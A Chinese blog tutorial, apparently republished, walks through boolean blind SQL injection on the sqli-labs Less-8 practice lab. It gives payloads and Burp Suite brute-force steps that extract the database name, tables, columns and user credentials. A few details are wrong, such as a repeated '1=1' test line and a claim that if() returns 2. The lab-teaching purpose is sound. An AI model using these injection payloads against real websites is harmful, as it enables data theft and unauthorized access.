布尔盲注——多种方式实现及利用burpsuite爆破

news2024/12/27 10:08:31

目录

1、判断闭合符类型

 2、爆数据库长度

 3、查询库名

手动注入

burpsuite爆破

 方法一:用ASCII码值转化爆破

 方法二:left方法直接爆破字母

 方法三:if方法爆破注入(最简单)

 4、爆破表名

 5、爆破具体值


当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,页面呈现出两种状态,正常或者不正常。根据这两种状态可以判断我们输入的语句是否查询成功。不能使用联合查询注入和报错注入,这时我们可以考虑是否为基于布尔的盲注。

接下来我们用实例来感受下布尔盲注!!

以sqli-labs-masterless-8关为例:

1、判断闭合符类型

当输入

?id=1' 

页面显示没有结果

 但当加入--+之后,页面又显示正常,这说明,闭合符就是

 当输入

?id=1' and 1=1 --+        #显示正常

?id=1' and 1=1 --+        #显示异常

 就可以确定是布尔盲注了.

 2、爆数据库长度

?id=1' and length(database())>=10 --+

 length()函数返回字符串的长度,这里采用二分法,直到找到一个分界点,即为数据库长度,这里得到长度为8

 3、查询库名

手动注入

手动一个一个测试

ascii()  #返回ASCII码值

substr(要截取的字符串,开始位,截取的长度)        #截取字符串

 构造payload:

?id=1' and ascii(substr(database(),1,1))>=115 --+        #显示正常

?id=1' and ascii(substr(database(),1,1))>=116 --+        #显示异常

 说明数据库名的第一个字符的ascii码值为115,查询ascii码表即可得知对应的字符为s

查询第二个字符需要将开始位改为2,再一个一个查询即:

?id=1' and ascii(substr(database(),2,1))>=115 --+ 

 已知库名长度为八,我们可以尝试手动注入八次,但是这样消耗的时间太长了,我们还可以利用脚本和burpsuit来爆破,这里演示用bp爆破库名

burpsuite爆破

可以采用三种方式来构造payload进行爆破

?id=1' and ascii(substr(database(),1,1))=115 --+

?id=1' and left(database(),1)='s' --+
 

 方法一:用ASCII码值转化爆破
?id=1' and ascii(substr(database(),1,1))=115 --+

 substr的第一个1表示从第一位开始,第二个一表示每次爆破一位,于是我们的爆破点就有两个

 一号爆破点选择1~8,因为之前我们已经得知数据库名字长度为8位了,所以只需选择一到八

二号爆破点选择的是字母的ascii码值,可以从本地导入,于是得到库名

 查询ascii码表即可得知库名为security

 方法二:left方法直接爆破字母

介绍一下left函数 left(参数1,参数2) 意为 将参数1从左开始取参数2个

示例: left(abc,2) 返回值为ab

之后将他与字符串进行比较 例如 left(abc,1)>'a' 返回结果为false 因为 ‘a’=‘a’

同样的left(abc,2)>'aa' 返回结果为TURE 因为‘ab’是要大于‘aa’

根据返回的结果的真假 与前面的语句用and相连接 构造逻辑关系

及 后面结果为真 页面就正常回显 若后面的语句为假 则 页面回显异常

构造payload:

?id=1' and left(database(),1)='s' --+

 用burpsuite抓包后选择字符为爆破点

 爆破内容选择a~z26个字母

 第一个爆破结果如图所示,这种方法的限制是一次只能爆破一个字母

 如果要接着爆破下一个字母,需要在爆破点前加上爆破出来的字母,并将left函数里面的数字修改。如:爆破第二个字母,需要将1改为2,并在爆破点前加上刚刚爆破出来的s,这是由left的匹配机制所决定的,2的意思是字符的前两个字母,于是需要加上s

 爆破出来的第二个字母为e

 后面也都是一样的步骤,这里就不赘述了。用left()从database()中选取字符进行爆破,这种方法的缺点是太过于复杂,需要逐次爆破,通常不使用这种方法。

 方法三:if方法爆破注入(最简单)

if(1=1,1,0)         表示:如果1=1,则返回1,否则返回0;

 构造payload:

?id=1' and if(substr(database(),1,1)='s',1,0) --+

 substr(database(),1,1)=’s'表示从库名选择第一个字母,判断其是否等于s,如果是,则返回1,页面正常显示,如果不是,则返回2,页面显示异常

选择两个爆破点:

 爆破结果:得到库名security

 4、爆破表名

?id=1' and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',1,0) --+

 select table_name from information_schema.tables where table_schema=database():在当前数据库内查询表名,由于一个数据库中通常有许多表,于是我们需要用 limit 0,1来限制行数,

limit 0,1表示从第一条开始取出一条数据,需要注意的是limit默认下标从0开始,第一个参数是下标,查数据的话是从第一条查,第二个参数限定了几条数据。

(select table_name from information_schema.tables where table_schema=database() limit 0,1):选择第一行的数据,即第一个表名

substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1):每次取一个字母进行爆破,第一个1表示从第一个字母开始,第二个一表示每次取一个

选择爆破点,依旧还是选择集束炸弹模式,让两个爆破点爆破的数据随机组合

 这里由于不知道表名有多少个字符,字典可以选择长一点,这里我们选择0~20

 第二个爆破点依旧选择26个字母

 最终得到第一个表名:emails

 后面继续爆破剩下的表名,只需改动limit为对应行即可,如要爆破第二个表名,只需将limit 0,1改为limit 1,1即可。

得到第2个表名referers,后面就不再一一演示了。

 

 5、爆破列名

只需将表名改为列名,并限制要查询表的名称,如要查询users表中的列名,构造payload

?id=1' and if(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='a',1,0)--+

 同样可以一个一个地查询列名 

 

 但是一行一行查太麻烦了,我们可以尝试一次查询多行,只需将limit限制查询的行数也进行爆破即可。爆破点如下:

 爆破结果:

 5、爆破具体值

我们尝试爆破password和username两列的值,由于username和password列中有许多组数据,这里就只示例一组数据的爆破。

首先爆破username的值,构造payload

?id=1' and if(substring((select username from users limit 0,1),1,1)='a',1,0)--+

 

 得到第一个username的值dumb:

接下来爆破password的值:

构造payload:

?id=1' and if(substring((select password from users limit 0,1),1,1)='a',1,0)--+

 

 得到password依旧为dumb

 

 于是我们拿到了第一组数据,其username和password均为dumb;

今天就写到这里啦,喜欢的话给我点个赞吧,我们一起成长!!!

后续还会更新更多sql注入的内容,喜欢的宝子可以关注我的sql专栏哦~_~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1953825.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

javaEE(1)

一. Web开发概述 Web开发:指的是从网页中向后端程序发送请求,与后端程序进行交互 Web服务器:是一种软件,向浏览器等Web客户端提供文档等数据,实现数据共享,它是一个容器,是一个连接用户和程序之间的中间键 二. Web开发环境搭建 我们要实现前后端交互,首先需要中间键Web服务…

pinia安装及简介

pinia简介 基本特点 轻量级:Pinia相比于传统的Vuex,体积更小,性能更好,只有大约1KB左右。 简化API:Pinia简化了状态管理库的使用方法,抛弃了Vuex中的mutations,只保留了state、getters和actions…

论文阅读:(DETR)End-to-End Object Detection with Transformers

论文阅读:(DETR)End-to-End Object Detection with Transformers 参考解读: 论文翻译:End-to-End Object Detection with Transformers(DETR)[已完结] - 怪盗kid的文章 - 知乎 指示函数&…

传输层(port)UDP/TCP——解决怎么发,发多少,出错了怎么办

**传输层:**负责数据能够从发送端传输接收端. 传输层所封装的报头里一定有:源端口号和目的端口号的。 **端口号:**可以标识一台主机中的唯一一个进程(运用程序),这样当数据传输到传输层的时候就可以通过端…

电商项目之如何判断线程池是否执行完所有任务

文章目录 1 问题背景2 前言3 4种常用的方法4 代码4.1 isTerminated()4.2 线程池的任务总数是否等于已执行的任务数4.3 CountDownLatch计数器4.4 CyclicBarrier计数器 1 问题背景 真实生产环境的电商项目,常使用线程池应用于执行大批量操作达到高性能的效果。应用场景…

当全球银行系统“崩溃”时会发生什么?

有句名言:“当美国打喷嚏时,世界就会感冒……”换句话说,当人们对美国及其经济稳定性的信心下降时,其他经济体(以及黄金、白银和股票等资产)的价值往往会下降。 与任何其他资产类别一样,加密货…

Java并发编程深入浅出(个人造诣)

目录 串行,并行与并发: 并发编程的目的 如何保证多线程的安全(并发编程思想) 写后读思想:(一个线程写后再让另一个线程读) 如何保障写后读? 1、加锁:(s…

Cocos Creator2D游戏开发(3)-飞机大战(1)-背景动起来

资源见: https://pan.baidu.com/s/1cryYNdBOry5A4YEEcLwhDQ?pwdzual 步骤 1, 让背景动起来 2, 玩家飞机显现,能操控,能发射子弹 3.敌机出现 4. 碰撞效果(子弹和敌机,敌机和玩家) 5. 积分和游戏结束 6. 游戏存档,对接微信小游戏,保存历史最高分 7. cocos发布到微信小游戏 资源…

【计算机网络】IP地址和子网掩码(IP地址篇)

个人主页:【😊个人主页】 系列专栏:【❤️计算机网络】 文章目录 前言IP地址网络地址网络地址的定义与组成作用分类网络地址的分配与管理 广播地址(Broadcast Address)定义构成类型作用注意事项 广播地址功能 组播地址…

【初阶数据结构篇】栈的实现(赋源码)

文章目录 栈1 代码位置2 概念与结构1.1概念1.2结构 2 栈的实现2.1 栈的初始化和销毁2.1.1 初始化2.1.2 销毁 2.2 栈顶插入和删除数据2.2.1 栈顶插入数据(压栈)2.2.2 栈顶删除数据(出栈) 2.3 返回栈顶数据2.4 返回栈的有效数据个数…

Jenkins持续部署

开发环境任务的代码只要有更新,Jenkins会自动获取新的代码并运行 1. pycharm和git本地集成 获取到下面的 Git可执行文件路径 2. pycharm和gitee远程仓库集成 先在pycharm中安装gitee插件 在设置中找到gitee,点击添加账户,并将自己的账户添…

(day26)leecode热题——找到字符串中所有字母异位词

描述 给定两个字符串 s 和 p,找到 s 中所有 p 的 异位词 的子串,返回这些子串的起始索引。不考虑答案输出的顺序。 异位词 指由相同字母重排列形成的字符串(包括相同的字符串)。 示例 1: 输入: s "cbaebabacd", p …

【QGroundControl二次开发】六. QGC地面站中视频流配置gstreamer

本文解决qgc源码编译后无法接收视频推流,原因是缺少gstreamer。 下面为windows安装流程,qgc版本为4.4.1稳定版 1. 安装gstreamer 官网链接:https://gstreamer.freedesktop.org/download/#windows 两个都要下载。安装的时候,在cu…

网络安全自学从入门到精通的制胜攻略!!!

在信息时代,网络安全已成为至关重要的领域。越来越多的人希望通过自学掌握这门技术,开启充满挑战与机遇的职业道路。以下是一份精心为您打造的网络安全自学攻略,助您在自学之旅中乘风破浪。 一、明确目标与兴趣方向 网络安全涵盖众多领域&am…

Java的四种引用类型

Java的四种引用类型 1. 强引用(Strong Reference)2. 软引用(Soft Reference)3. 弱引用(Weak Reference)4. 虚引用(Phantom Reference) 💖The Begin💖点点关注…

硬件工程师笔面试真题汇总

目录 1、电阻 1)上拉电阻的作用 2)PTC热敏电阻作为电源电路保险丝的工作原理 2、电容 1)电容的特性 2) 电容的特性曲线 3) 1uf的电容通常来滤除什么频率的信号 3、电感 4、二极管 1)二极管特性 2)二极管伏安…

MySQL练手 --- 1633. 各赛事的用户注册率

题目链接:1633. 各赛事的用户注册率 思路: 两张表,一张为Users用户表,该表存储着所有用户的 user_id 和 user_name 另一张表为Register注册表,该表存储着赛事id(contest_id),和已…

NumpyPandas:Pandas库(25%-50%)

目录 前言 一、列操作 1.修改变量列 2.筛选变量列 3.删除变量列 4.添加变量列 二、数据类型的转换 1.查看数据类型 2.将 ok的int类型转换成float类型 3.将ar的float类型转换成int类型 三、建立索引 1.建立DataFrame时建立索引 2.在读入数据时建立索引 3.指定某列或…

PHP8.3.9安装记录,Phpmyadmin访问提示缺少mysqli

ubuntu 22.0.4 腾讯云主机 下载好依赖 sudo apt update sudo apt install -y build-essential libxml2-dev libssl-dev libcurl4-openssl-dev pkg-config libbz2-dev libreadline-dev libicu-dev libsqlite3-dev libwebp-dev 下载php8.3.9安装包 nullhttps://www.php.net/d…

【Linux】生产者消费者模型 + 线程池的介绍和代码实现

前言 上节我们学习了线程的同步与互斥,学习了互斥锁和条件变量的使用。本章我们将学习编程的一个重要模型,生产者消费者模型,并且运用之前学的线程同步和互斥的相关接口来实现阻塞队列和环形队列,最后再来实现一个简易的线程池。 …